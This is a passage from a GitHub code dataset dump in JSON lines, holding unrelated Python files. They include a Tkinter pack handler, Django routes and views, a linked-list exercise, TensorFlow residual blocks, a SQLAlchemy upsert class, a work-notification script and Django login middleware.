profile_data)\n\n def gt_value(self, key):\n profile_data = ph.gt_pack_data(\"profile\", f\"{self.profile_dir}\")\n try:\n return profile_data[key]\n except:\n raise FileNotFoundError(f\"Couldn't fetch profile data for '{key}'.\")\n\n def theme(self):\n theme = self.gt_value(\"theme\")\n if theme == \"dark\" or theme == \"light\":\n return theme\n else:\n raise RuntimeError(f\"Unknown theme '{theme}' in profile.\")\n\n def language(self):\n return self.gt_value(\"language\")\n\n def code_font_face(self):\n return self.gt_value(\"code_font_face\")\n\n def code_font_size(self):\n return self.gt_value(\"code_font_size\")\n\n def code_font(self):\n return self.code_font_face(), self.code_font_size()\n\n def min_adr_len(self):\n return self.gt_value(\"min_adr_len\")\n\n def max_cels(self):\n return self.gt_value(\"max_cels\")\n\n def max_jmps(self):\n return self.gt_value(\"max_jmps\")\n\n def closing_unsaved(self):\n return self.gt_value(\"closing_unsaved\")\n\n def dev_mode(self):\n return self.gt_value(\"dev_mode\")\n\n\nclass LangHandler:\n\n def __init__(self, cur_lang = \"en_US\"):\n self.cur_lang = cur_lang\n self.cur_lang_data = ph.gt_pack_data(self.cur_lang, f\"{program_dir}/languages\")\n\n def gt_langs(self):\n lang_paths = gl.glob(os.path.join(program_dir, \"languages/*.dict\"))\n langs = []\n for lang_path in lang_paths:\n langs.append(os.path.basename(lang_path).split(\".dict\")[0])\n return langs\n\n def gt_lang(self, lang_name):\n langs = self.gt_langs()\n for lang in langs:\n if self.gt_lang_name(lang) == lang_name:\n return lang\n raise FileNotFoundError(f\"Couldn't fetch language ID for '{lang_name}'.\")\n\n def gt_lang_name(self, lang):\n lang_data = ph.gt_pack_data(lang, f\"{program_dir}/languages\")\n try:\n lang_name = lang_data[\"info\"][\"name\"]\n except:\n raise FileNotFoundError(f\"Couldn't fetch info data for 'name' from language pack '{lang}'.\")\n return lang_name\n\n def gt_langs_with_names(self):\n langs_with_names = {}\n for lang in self.gt_langs():\n langs_with_names[lang] = self.gt_lang_name(lang)\n return langs_with_names\n\n def demo(self):\n try:\n demo = self.cur_lang_data[\"demo\"]\n except:\n raise FileNotFoundError(f\"Couldn't fetch demo data from language pack '{self.cur_lang}'.\")\n return demo\n\n def opt_win(self, key):\n try:\n ele = self.cur_lang_data[\"opt_win\"][key]\n except:\n raise FileNotFoundError(f\"Couldn't fetch 'options' window data for '{key}' from language pack '{self.cur_lang}'.\")\n return ele\n\n def abt_win(self, key):\n try:\n ele = self.cur_lang_data[\"abt_win\"][key]\n except:\n raise FileNotFoundError(f\"Couldn't fetch 'about' window data for '{key}' from language pack '{self.cur_lang}'.\")\n return ele\n\n def shc_win(self, key):\n try:\n ele = self.cur_lang_data[\"shc_win\"][key]\n except:\n raise FileNotFoundError(f\"Couldn't fetch 'shortcuts' window data for '{key}' from language pack '{self.cur_lang}'.\")\n return ele\n\n def gui(self, key):\n try:\n ele = self.cur_lang_data[\"gui\"][key]\n except:\n raise FileNotFoundError(f\"Couldn't fetch gui data for '{key}' from language pack '{self.cur_lang}'.\")\n return ele\n\n def file_mng(self, key):\n try:\n ele = self.cur_lang_data[\"file_mng\"][key]\n except:\n raise FileNotFoundError(f\"Couldn't fetch file_mng data for '{key}' from language pack '{self.cur_lang}'.\")\n return ele\n\n def asm_win(self, key):\n try:\n ele = self.cur_lang_data[\"asm_win\"][key]\n except:\n raise FileNotFoundError(f\"Couldn't fetch 'Assembly' window data for '{key}' from language pack '{self.cur_lang}'.\")\n if key == \"text\":\n text_code_pairs = []\n blocks = ele.split(\"}\")\n if len(blocks) == 1:\n text_code_pairs = [(blocks[0], \"\")]\n else:\n for i in range(len(blocks) - 1):\n text_code_pair = blocks[i].split(\"{\", maxsplit = 1)\n if len(text_code_pair) == 1:\n raise SyntaxError(f\"Unmatched curly bracket in 'Assembly' window data for 'text' from language pack '{self.cur_lang}'.\")\n else:\n text_code_pairs.append(text_code_pair)\n text_code_pairs.append((blocks[len(blocks) - 1], \"\"))\n return text_code_pairs\n return ele\n\nclass ErrorHandler:\n\n def __init__(self):\n pack_data = ph.gt_pack_data(\"errors\", f\"{program_dir}/resources\")\n self.errors = pack_data[\"errors\"]\n self.messages = pack_data[\"messages\"]\n\n def error(self, err, **kwargs):\n try:\n err_tpl = self.errors[err]\n except:\n raise FileNotFoundError(f\"Couldn't fetch error data for '{err}'.\")\n err_name = err_tpl[0]\n err_desc = \"\"\n blocks = err_tpl[1].split(\"}\")\n if len(blocks) == 1:\n err_desc = blocks[0]\n else:\n for i in range(len(blocks) - 1):\n txt_arg_pair = blocks[i].split(\"{\", maxsplit = 1)\n if len(txt_arg_pair) == 1:\n raise SyntaxError(f\"Unmatched curly bracket in error data for '{err}'.\")\n else:\n arg = None\n for kw in kwargs: # search for matching argument\n if kw == txt_arg_pair[1]:\n arg = kwargs[kw]\n if arg is None:\n raise TypeError(f\"LangHandler.error() missing required keyword argument '{txt_arg_pair[1]}' in error data for '{err}'.\")\n err_desc += txt_arg_pair[0] + str(arg)\n err_desc += blocks[len(blocks) - 1]\n return err_name + \": \" + err_desc\n\n def prg_state_msg(self):\n try:\n prg_state_msg = self.messages[\"PrgStateMsg\"]\n except:\n raise FileNotFoundError(f\"Couldn't fetch error message data for 'PrgStateMsg'.\")\n return prg_state_msg\n\n\nclass SpriteHandler:\n\n def __init__(self, theme = None):\n self.theme = theme\n\n def gt_sprite(self, group, sprite, x, y, theme_dependent = False, type = \"png\"):\n if theme_dependent:\n if self.theme:\n try:\n img = Image.open(f\"{program_dir}/sprites/{group}/{sprite}_{self.theme}.{type}\")\n except:\n raise FileNotFoundError(f\"Couldn't fetch sprite '{sprite}' on {self.theme} theme for '{group}'.\")\n else:\n raise RuntimeError(f\"Can't get theme dependent sprite '{sprite}' for '{group}' if no theme is specified.\")\n else:\n try:\n img = Image.open(f\"{program_dir}/sprites/{group}/{sprite}.{type}\")\n except:\n raise FileNotFoundError(f\"Couldn't fetch sprite '{sprite}' for '{group}'.\")\n img = img.resize((x, y), Image.LANCZOS)\n return ImageTk.PhotoImage(img)\n\n def gt_button_sprites(self, group, x = 35, y = 35, lockable = False):\n default = self.gt_sprite(group, \"default\", x, y, theme_dependent = True)\n hovering = self.gt_sprite(group, \"hovering\", x, y, theme_dependent = True)\n clicked = self.gt_sprite(group, \"clicked\", x, y, theme_dependent = True)\n locked = self.gt_sprite(group, \"locked\", x, y, theme_dependent = True) if lockable else None\n return {\"img_default\": default, \"img_hovering\": hovering, \"img_clicked\": clicked, \"img_locked\": locked}\n\n def set_theme(self, theme):\n self.theme = theme\n\n\nph = PackHandler()","repo_name":"Blyfh/Assemblitor","sub_path":"program/source/PackHandler.py","file_name":"PackHandler.py","file_ext":"py","file_size_in_byte":10895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34887267005","text":"from django.urls import path\nfrom . import views\nurlpatterns=[\n path('weeklist/', views.WeekList.as_view(), name='week_list'),\n path('/weekdetails/', views.week_details, name='week_details'),\n path('/refresh/', views.refresh, name='refresh'),\n path('/createmoney/', views.money_create_view, name='create_money'),\n path('/createshopping/', views.shopping_create_view, name='create_shopping'),\n path('/hesab/', views.hesab, name='hesab'),\n path('/lasthesabrefresh/', views.last_hesab_refresh, name='last_hesab_refresh'),\n]","repo_name":"arminam3/last_hesab","sub_path":"hesab/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29497585616","text":"# -*- coding:utf-8 -*-\n# @Time: 2020/9/7 11:09\n# @Author: Lj\n# @File: 设计链表.py\n\n'''\n设计链表的实现。您可以选择使用单链表或双链表。单链表中的节点应该具有两个属性:val 和 next。\nval 是当前节点的值,next 是指向下一个节点的指针/引用。如果要使用双向链表,\n则还需要一个属性 prev 以指示链表中的上一个节点。假设链表中的所有节点都是 0-index 的。\n\n在链表类中实现这些功能:\n\nget(index):获取链表中第 index 个节点的值。如果索引无效,则返回-1。\naddAtHead(val):在链表的第一个元素之前添加一个值为 val 的节点。插入后,新节点将成为链表的第一个节点。\naddAtTail(val):将值为 val 的节点追加到链表的最后一个元素。\naddAtIndex(index,val):在链表中的第 index 个节点之前添加值为 val  的节点。如果 index 等于链表的长度,则该节点将附加到链表的末尾。如果 index 大于链表长度,则不会插入节点。如果index小于0,则在头部插入节点。\ndeleteAtIndex(index):如果索引 index 有效,则删除链表中的第 index 个节点。\n \n\n示例:\n\nMyLinkedList linkedList = new MyLinkedList();\nlinkedList.addAtHead(1);\nlinkedList.addAtTail(3);\nlinkedList.addAtIndex(1,2); //链表变为1-> 2-> 3\nlinkedList.get(1); //返回2\nlinkedList.deleteAtIndex(1); //现在链表是1-> 3\nlinkedList.get(1); //返回3\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/design-linked-list\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n'''\n\n#修改版\n'''\n一般来说,链表的题目,加一个dummy哑节点比较容易写代码,因为可以忽略head节点为空的情况\n'''\nclass Node:\n\n def __init__(self,val:int):\n self.val = val\n self.next = None\n\nclass MyLinkedList:\n\n def __init__(self):\n self.head = Node(-1)\n self.length = 0\n\n\n def get(self, index: int) -> int:\n if index < 0 or index >= self.length:\n return -1\n cur = self.head\n for _ in range(index+1):\n cur = cur.next\n # print(cur.val)\n return cur.val\n\n def addAtHead(self, val: int) -> None:\n self.addAtIndex(0, val)\n\n def addAtTail(self, val: int) -> None:\n self.addAtIndex(self.length, val)\n\n def addAtIndex(self, index: int, val: int) -> None:\n if index > self.length:\n return\n if index < 0:\n index = 0\n pre = self.head\n for _ in range(index):\n pre = pre.next\n node = Node(val)\n node.next = pre.next\n pre.next = node\n\n self.length += 1\n # print(self)\n\n def deleteAtIndex(self, index: int) -> None:\n if index < 0 or index >= self.length:\n return\n pre = self.head\n for _ in range(index):\n pre = pre.next\n pre.next = pre.next.next\n\n self.length -= 1\n # print(self)\n\n def __str__(self):\n res = 'head'\n cur = self.head\n for _ in range(self.length):\n cur = cur.next\n res += '->{}'.format(str(cur.val))\n return res\n\n# Your MyLinkedList object will be instantiated and called as such:\nlinkedList = MyLinkedList()\nlinkedList.addAtHead(7)\nlinkedList.addAtHead(2)\nlinkedList.addAtHead(1)\nlinkedList.addAtIndex(3,0)\nlinkedList.deleteAtIndex(2)\nlinkedList.addAtHead(6)\nlinkedList.addAtTail(4)\nlinkedList.get(4)\nlinkedList.addAtHead(4)\nlinkedList.addAtIndex(5,0)\nlinkedList.addAtHead(6)\n\n\n\n\n","repo_name":"Da1anna/Data-Structed-and-Algorithm_python","sub_path":"leetcode/线性表/链表/设计链表.py","file_name":"设计链表.py","file_ext":"py","file_size_in_byte":3641,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70953565841","text":"import functools\nimport tensorflow as tf\nimport lib.ops.Conv1D, lib.ops.Linear, lib.ops.LSTM\n\n\ndef ConvMeanPool(name, input_dim, output_dim, filter_size, inputs, he_init=True, biases=True):\n output = lib.ops.Conv1D.conv1d(name, input_dim, output_dim, filter_size, inputs,\n he_init=he_init, biases=biases)\n output = tf.nn.pool(output, [2], 'AVG', 'SAME', strides=[2])\n return output\n\n\ndef MeanPoolConv(name, input_dim, output_dim, filter_size, inputs, he_init=True, biases=True):\n output = inputs\n output = tf.nn.pool(output, [2], 'AVG', 'SAME', strides=[2])\n output = lib.ops.Conv1D.conv1d(name, input_dim, output_dim, filter_size, output,\n he_init=he_init, biases=biases)\n return output\n\n\ndef UpsampleConv(name, input_dim, output_dim, filter_size, inputs, he_init=True, biases=True, stride=2,\n use_nearest_neighbor=True):\n output = inputs\n length = output.get_shape().as_list()[1]\n if use_nearest_neighbor:\n output = tf.image.resize_nearest_neighbor(output[:, :, None, :], [stride * length, 1])[:, :, 0, :]\n output = lib.ops.Conv1D.conv1d(name, input_dim, output_dim, filter_size, output,\n he_init=he_init, biases=biases)\n\n else:\n output = lib.ops.Conv1D.transposd_conv1d(name, input_dim, output_dim, filter_size, output,\n he_init=he_init, biases=biases, stride=stride)\n return tf.reshape(output, [-1, length * stride, output_dim])\n\n\ndef normalize(name, inputs, is_training_ph, use_bn=True):\n with tf.variable_scope(name):\n if use_bn:\n return tf.contrib.layers.batch_norm(inputs, fused=True, scale=True, decay=0.9,\n is_training=is_training_ph,\n epsilon=1e-5, scope='BN', updates_collections=None)\n else:\n return inputs\n\n\ndef resblock(name, input_dim, output_dim, filter_size, inputs, resample, is_training_ph, r=1.0,\n use_bn=True, stride=2):\n if resample == 'down':\n conv1 = functools.partial(lib.ops.Conv1D.conv1d, input_dim=input_dim, output_dim=input_dim)\n conv2 = functools.partial(ConvMeanPool, input_dim=input_dim, output_dim=output_dim)\n shortcut_func = functools.partial(ConvMeanPool, input_dim=input_dim, output_dim=output_dim)\n elif resample == 'up':\n conv1 = functools.partial(UpsampleConv, input_dim=input_dim, output_dim=output_dim, stride=stride)\n conv2 = functools.partial(lib.ops.Conv1D.conv1d, input_dim=output_dim, output_dim=output_dim)\n shortcut_func = functools.partial(UpsampleConv, input_dim=input_dim, output_dim=output_dim, stride=stride)\n elif resample is None:\n conv1 = functools.partial(lib.ops.Conv1D.conv1d, input_dim=input_dim, output_dim=output_dim)\n conv2 = functools.partial(lib.ops.Conv1D.conv1d, input_dim=output_dim, output_dim=output_dim)\n shortcut_func = functools.partial(lib.ops.Conv1D.conv1d, input_dim=input_dim, output_dim=output_dim)\n else:\n raise Exception('Choose between up-sampling and down-sampling!')\n with tf.variable_scope(name):\n\n if output_dim == input_dim and resample is None:\n shortcut = inputs\n else:\n shortcut = shortcut_func(name='Shortcut', filter_size=1, he_init=False, biases=True, inputs=inputs)\n\n output = inputs\n output = normalize(name='Norm1', is_training_ph=is_training_ph, inputs=output, use_bn=use_bn)\n output = tf.nn.relu(output)\n output = conv1(name='Conv1', filter_size=filter_size, inputs=output)\n\n output = normalize(name='Norm2', is_training_ph=is_training_ph, inputs=output, use_bn=use_bn)\n output = tf.nn.relu(output)\n output = conv2(name='Conv2', filter_size=filter_size, inputs=output)\n return r * output + shortcut\n\n\ndef OptimizedResBlockDisc1(inputs, input_dim, output_dim, resample='down', filter_size=3):\n conv1 = functools.partial(lib.ops.Conv1D.conv1d, input_dim=input_dim, output_dim=output_dim)\n if resample == 'down':\n conv2 = functools.partial(ConvMeanPool, input_dim=output_dim, output_dim=output_dim)\n conv_shortcut = MeanPoolConv\n else:\n conv2 = functools.partial(lib.ops.Conv1D.conv1d, input_dim=output_dim, output_dim=output_dim)\n conv_shortcut = lib.ops.Conv1D.conv1d\n\n shortcut = conv_shortcut('Shortcut', input_dim=input_dim, output_dim=output_dim, filter_size=1, he_init=False,\n biases=True, inputs=inputs)\n\n output = inputs\n output = conv1('Conv1', filter_size=filter_size, inputs=output)\n output = tf.nn.relu(output)\n output = conv2('Conv2', filter_size=filter_size, inputs=output)\n return shortcut + output\n","repo_name":"HarveyYan/RNAonGraph","sub_path":"lib/resutils.py","file_name":"resutils.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"} +{"seq_id":"37327688894","text":"import csv #to get the python's csv tools \nfrom app.models import Women_Warriors\n#STEP 10.1 I have just copied and edited the code\n\n#the code below is copied from my instructor Aliya's \"Code That Only Does One Thing\" github page where she outlined the code to pull from a csv into an app for the an application. \nwith open('warriors.csv', 'rb') as csvfile:\n warrior_list = csv.reader(csvfile, delimiter=',', quotechar='\"')\n #and here you add the users\n for column in warrior_list:\n #In your CSV file you have certain objects that are within the different categories. Lets look at the CSV in the first line... \"Ellen Ochoa... First Hispanic American woman astronaut...TRUE... Mexican-American\"... The categories for this are NAME...BIO...TRUE_LIFE...NATIONALITY... \n\n #we are going to set up the line below based on this model... remember it starts on 0.. so for example the name Ane.. A=0, N=1, E=2\n w = Women_Warriors(name =column[0], nationality=column[1], real_life=column[2],bio=column[3])\n w.save()\n\n #SUPER IMPORTANT = know the difference between row and column!!\n\n#STEP 10.2 You may get an error that says, \"django module settings are not configured... you will type in there: \n# $export DJANGO_SETTINGS_MODULE=adding_data_app.settings\n\n#After you have set this up you will type to adding_data../adding_data$ python add_data.py from your terminal and run ","repo_name":"MariellaPaulino/adding_data_app","sub_path":"add_data.py","file_name":"add_data.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29805254532","text":"from dotenv import load_dotenv\nfrom sqlalchemy import MetaData, Table, Column, Integer, String, Date, Float, UniqueConstraint\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.dialects.postgresql import insert\nfrom sqlalchemy_utils import database_exists, create_database\n\nfrom database.BaseDatabase import BaseDatabase\nfrom libs.Singleton import Singleton\n\nload_dotenv()\n\n\nclass PostgreSqlDatabase(BaseDatabase, Singleton):\n\n def __init__(self):\n super(PostgreSqlDatabase, self).__init__()\n self.engine = create_engine(self.ENGINE_URL)\n if not database_exists(self.ENGINE_URL):\n create_database(self.ENGINE_URL)\n self.connection = self.engine.connect()\n self.init_database_structure()\n\n def init_database_structure(self):\n self.create_table_works()\n\n def create_table_works(self):\n meta = MetaData()\n\n self.works_table = Table(\n 'works', meta,\n Column('ID', Integer, primary_key=True, autoincrement=True),\n Column('WBS', String(80), nullable=False, unique=True),\n Column('NAME', String(512), nullable=False),\n Column('START_DATE', Date(), nullable=False),\n Column('END_DATE', Date(), nullable=False),\n Column('EFFORT', Float, nullable=False, default=0),\n UniqueConstraint('WBS')\n )\n meta.create_all(self.engine)\n\n def save_works_row(self, expected_exceptions: tuple, data: dict):\n new_row = insert(self.works_table).values(list(data.values()))\n updated_row = new_row.on_conflict_do_update(\n constraint='works_WBS_key',\n set_={key: data[key] for key in data if key != 'WBS'}\n )\n try:\n self.connection.execute(updated_row)\n except expected_exceptions:\n print(f'Error at the line: {data}. Skipping...')\n self.connection.commit()\n","repo_name":"ilyaolchikov/parser_test_task","sub_path":"database/PostgreSqlDatabase.py","file_name":"PostgreSqlDatabase.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36505608588","text":"###from sequence_encoded.py\n\nimport numpy as np\n\ndef _build_index_dict(sequences):\n unique_symbols = set()\n for seq in sequences:\n for c in seq:\n unique_symbols.add(c)\n return {c: i for (i, c) in enumerate(unique_symbols)}\n\ndef sequences_to_indices(\n sequences,\n index_dict=None,\n add_start_symbol=True,\n add_end_symbol=True):\n \"\"\"\n Encode sequences of symbols as sequences of integer indices starting from 1.\n Parameters\n ----------\n sequences : list of str\n index_dict : dict\n Mapping from symbols to indices (expected to start from 0)\n add_start_symbol : bool\n add_end_symbol : bool\n \"\"\"\n if index_dict is None:\n index_dict = _build_index_dict(sequences)\n\n index_sequences = []\n for seq in sequences:\n index_sequences.append([index_dict[c] for c in seq])\n max_value = max(max(sequence) for sequence in index_sequences)\n if add_start_symbol:\n prefix = [max_value]\n max_value += 1\n index_sequences = [prefix + seq for seq in index_sequences]\n if add_end_symbol:\n suffix = [max_value]\n index_sequences = [seq + suffix for seq in index_sequences]\n return index_sequences\n\ndef padded_indices(\n sequences,\n index_dict=None,\n ndim=2,\n add_start_symbol=True,\n add_end_symbol=True):\n \"\"\"\n Given a list of strings, construct a list of index sequences\n and then pad them to make an array.\n \"\"\"\n index_sequences = sequences_to_indices(\n sequences=sequences,\n index_dict=index_dict,\n add_start_symbol=add_start_symbol,\n add_end_symbol=add_end_symbol)\n\n max_len = max(len(s) for s in index_sequences)\n n_samples = len(index_sequences)\n if ndim < 2:\n raise ValueError(\"Padded input must have at least 2 dims\")\n\n shape = (n_samples, max_len) + (1,) * (ndim - 2)\n result = np.zeros(shape, dtype=int)\n for i, x in enumerate(index_sequences):\n result[i, :len(x)] = x\n return result\n\ndef onehot(sequences, index_dict=None):\n \"\"\"\n Parameters\n ----------\n sequences : list of strings\n index_dict : dict\n Mapping from symbols to integer indices\n \"\"\"\n n_seq = len(sequences)\n if index_dict is None:\n index_dict = _build_index_dict(sequences)\n n_symbols = len(index_dict)\n maxlen = max(len(seq) for seq in sequences)\n result = np.zeros((n_seq, maxlen, n_symbols), dtype=bool)\n for i, seq in enumerate(sequences):\n for j, sj in enumerate(seq):\n result[i, j, index_dict[sj]] = 1\n return result\n","repo_name":"NanditaDamaraju/pan_allele","sub_path":"pan_allele/helpers/sequence_encoding.py","file_name":"sequence_encoding.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"39957274186","text":"import traceback\n\nimport requests\nimport yaml\n\nfrom util.fileMap import *\nfrom util.toast import *\n\n_url = 'https://rims.croot.com'\n\n# 缓存文件\n_file = \"properties.txt\"\n\ndef get_conf():\n with open(\"config.yaml\", \"r\", encoding='utf8') as config:\n data = yaml.safe_load(config)\n return data\n\ndef login(conf):\n payload = {\n 'optid': conf['rims']['login']['optid'],\n 'optpwd': conf['rims']['login']['optpwd'],\n 'encrypted': conf['rims']['login']['encrypted'],\n }\n try:\n resp = requests.post(url=_url + '/api/rms/operator/login', data=payload)\n jsonStr = resp.json()\n resp.close()\n print('登录返回:'+str(jsonStr))\n if jsonStr['code'] == 0:\n file_put(_file, _url, jsonStr['data']['uuid'])\n return jsonStr['data']['uuid']\n except Exception:\n traceback.print_exc()\n\n\ndef get_uuid(conf):\n uuid = file_get(_file, _url)\n if uuid is None:\n uuid = login(conf)\n return uuid\n\n\ndef get_header(conf):\n header = {\n 'uuid': get_uuid(conf)\n }\n return header\n\n## 获取我的待办\ndef _get_work_result(type, header):\n try:\n resp = requests.get(url=_url + '/api/rms/workBench/total?type=' + type, headers=header)\n result_json = resp.json()\n # print(str(result_json))\n resp.close()\n return result_json['data']\n except Exception:\n traceback.print_exc()\n print('_get_work_result fail')\n return []\n\ndef _get_work_data(type, header):\n work_data = _get_work_result(type, header)\n data = {}\n for x in work_data:\n data[x['type']] = x['total']\n return data\n\ndef rims_toast(conf, text):\n pc_toast(conf['toast']['title'], text, conf['toast']['icon_path'])\n\n# 自定义get方法\ndef _get(obj, name):\n if name not in obj:\n return 0\n else:\n return obj[name]\n\n## 检查登录\ndef _check_login(conf, header):\n try:\n resp = requests.get(url=_url + '/api/rms/workBench/scheduleMyVersion', headers=header)\n result_json = resp.json()\n resp.close()\n if result_json['code'] == 2007:\n login(conf)\n except Exception:\n traceback.print_exc()\n print('_check_login fail')\n\nif __name__ == '__main__':\n conf = get_conf()\n header = get_header(conf)\n _check_login(conf, header)\n\n work_data = _get_work_data(conf['rims']['todo'], header)\n\n while 1 == 1:\n time.sleep(conf['toast']['interval'])\n new_work_data = _get_work_data(conf['rims']['done'], header)\n message = []\n for x in conf['rims']['check']:\n count = _get(new_work_data, x['type'])\n if _get(work_data, x['type']) != count:\n message.append(x['name'] + '有变化啦,总数:' + str(count) + '\\n')\n rims_toast(conf, ''.join(message))","repo_name":"wutianyu2014/Auto_CheckIn","sub_path":"rimsToast/rims.py","file_name":"rims.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39102986505","text":"from django.db.models import Sum\nfrom django.http import HttpResponse\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.pdfgen import canvas\nfrom rest_framework.decorators import action\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.permissions import SAFE_METHODS, AllowAny, IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.status import (HTTP_201_CREATED, HTTP_204_NO_CONTENT,\n HTTP_400_BAD_REQUEST)\nfrom rest_framework.viewsets import ModelViewSet, ReadOnlyModelViewSet\n\nfrom core.filters import IngredientsFilter, RecipesFilter\nfrom recipes.models import Ingredient, IngredientAmount, Recipe\nfrom recipes.permissions import AuthorOrReadOnly\nfrom recipes.serializers import (IngredientSerializer, RecipeCreateSerializer,\n RecipeReadSerializer)\nfrom users.serializers import ShortRecipeSerializer\n\n\nclass RecipeViewSet(ModelViewSet):\n queryset = Recipe.objects.all()\n permission_classes = (AuthorOrReadOnly, )\n filter_class = RecipesFilter\n\n def get_serializer_class(self):\n if self.request.method in SAFE_METHODS:\n return RecipeReadSerializer\n return RecipeCreateSerializer\n\n @action(\n detail=True,\n methods=['POST', 'DELETE'],\n permission_classes=(IsAuthenticated, ))\n def favorite(self, request, pk=None):\n related = request.user.favorites\n obj = related.filter(recipe=pk)\n if request.method == 'POST':\n return self.add_object(related, obj, pk)\n if request.method == 'DELETE':\n return self.delete_object(obj)\n return None\n\n @action(\n detail=True,\n methods=['POST', 'DELETE'],\n permission_classes=(IsAuthenticated,))\n def shopping_cart(self, request, pk=None):\n related = request.user.cart\n obj = related.filter(recipe=pk)\n if request.method == 'POST':\n return self.add_object(related, obj, pk)\n if request.method == 'DELETE':\n return self.delete_object(obj)\n return None\n\n @action(\n detail=False,\n methods=['GET'],\n permission_classes=(IsAuthenticated,))\n def download_shopping_cart(self, request):\n ingredients = IngredientAmount.objects.filter(\n recipe__cart__user=request.user).order_by(\n 'ingredient__name').values(\n 'ingredient__name', 'ingredient__measurement_unit'\n ).annotate(amount_total=Sum('amount'))\n\n pdfmetrics.registerFont(TTFont('JetBrainsMono-Regular',\n 'JetBrainsMono-Regular.ttf', 'UTF-8'))\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = ('attachment; '\n 'filename=\"shopping_cart.pdf\"')\n\n p = canvas.Canvas(response)\n per = 28\n for g in range(0, len(ingredients), per):\n page_num = p.getPageNumber()\n p.setFont('JetBrainsMono-Regular', size=21)\n p.drawString(90, 770, f'Список покупок, стр. {page_num}')\n p.setFont('JetBrainsMono-Regular', size=16)\n height = 730\n for i in range(g, g + per):\n if i >= len(ingredients):\n continue\n p.drawString(\n 90, height,\n f'{ingredients[i][\"ingredient__name\"]} '\n f'({ingredients[i][\"ingredient__measurement_unit\"]}) —'\n f' {ingredients[i][\"amount_total\"]}')\n height -= 25\n p.showPage()\n p.save()\n return response\n\n @staticmethod\n def add_object(related, obj, pk):\n if obj.exists():\n return Response(\n {'errors': 'Рецепт уже добавлен.'},\n status=HTTP_400_BAD_REQUEST)\n recipe = get_object_or_404(Recipe, id=pk)\n related.create(recipe=recipe)\n serializer = ShortRecipeSerializer(recipe)\n return Response(serializer.data, status=HTTP_201_CREATED)\n\n @staticmethod\n def delete_object(obj):\n if obj.exists():\n obj.delete()\n return Response(status=HTTP_204_NO_CONTENT)\n return Response({\n 'errors': 'Рецепт уже удалён.'\n }, status=HTTP_400_BAD_REQUEST)\n\n\nclass IngredientViewSet(ReadOnlyModelViewSet):\n permission_classes = (AllowAny, )\n queryset = Ingredient.objects.all()\n serializer_class = IngredientSerializer\n filter_backends = (IngredientsFilter, )\n search_fields = ('^name', )\n pagination_class = None\n","repo_name":"rasputin-pro/foodgram-project-react","sub_path":"backend/recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22750864034","text":"from flask import render_template, redirect, request, url_for\nfrom flask_app import app\nfrom flask_app.models.ninja import Ninja\nfrom flask_app.models.dojo import Dojo\n\n@app.route(\"/dojos/new_ninja\")\ndef new_ninja():\n return render_template(\"new_ninja.html\", all_dojos = Dojo.show_all())\n\n@app.route(\"/dojos/create_ninja\", methods = [\"POST\"])\ndef create_ninja():\n data = {\n \"dojo_id\": request.form[\"dojo_id\"],\n \"first_name\": request.form['first_name'],\n \"last_name\": request.form['last_name'],\n \"age\": request.form[\"age\"]\n }\n Ninja.create(data)\n return redirect(\"/dojos\")\n","repo_name":"whiterg1/Python_Stack","sub_path":"Flask_Mysql/crud/dojos_and_ninjas_crud/flask_app/controllers/ninjas.py","file_name":"ninjas.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1475479098","text":"from django.utils.deprecation import MiddlewareMixin\nfrom django.urls import reverse\nfrom django.shortcuts import redirect\n\n\nclass LoginCheckMiddleWare(MiddlewareMixin):\n def process_view(self, request, view_func, view_args, view_kwargs):\n modulename = view_func.__module__\n user = request.user # Who is the current user ?\n \n # Define an array of module names for each user type\n admin_modules = ['main_app.student_views', 'main_app.staff_views', 'main_app.dean_views', 'main_app.hodd_views']\n dean_modules = ['main_app.student_views', 'main_app.hod_views', 'main_app.staff_views', 'main_app.hodd_views']\n hodd_modules = ['main_app.student_views', 'main_app.hod_views', 'main_app.dean_views', 'main_app.saff_views']\n staff_modules = ['main_app.student_views', 'main_app.hod_views', 'main_app.dean_views', 'main_app.hodd_views']\n student_modules = ['main_app.hod_views', 'main_app.staff_views','main_app.dean_views','main_app.hodd_views']\n \n if user.is_authenticated:\n if user.user_type == '1': # Is it the Admin\n if modulename in admin_modules:\n return redirect(reverse('admin_home'))\n elif user.user_type == '2': # Dean :-/ ?\n if modulename in dean_modules:\n return redirect(reverse('dean_home'))\n elif user.user_type == '3': # hodd ?\n if modulename in hodd_modules:\n return redirect(reverse('hodd_home'))\n elif user.user_type == '4': # staff :-/ ?\n if modulename in staff_modules:\n return redirect(reverse('staff_home'))\n elif user.user_type == '5': # ... or Student ?\n if modulename in student_modules:\n return redirect(reverse('student_home'))\n else: # None of the aforementioned ? Please take the user to login page\n return redirect(reverse('login_page'))\n else:\n if request.path == reverse('login_page') or modulename == 'django.contrib.auth.views' or request.path == reverse('user_login'): # 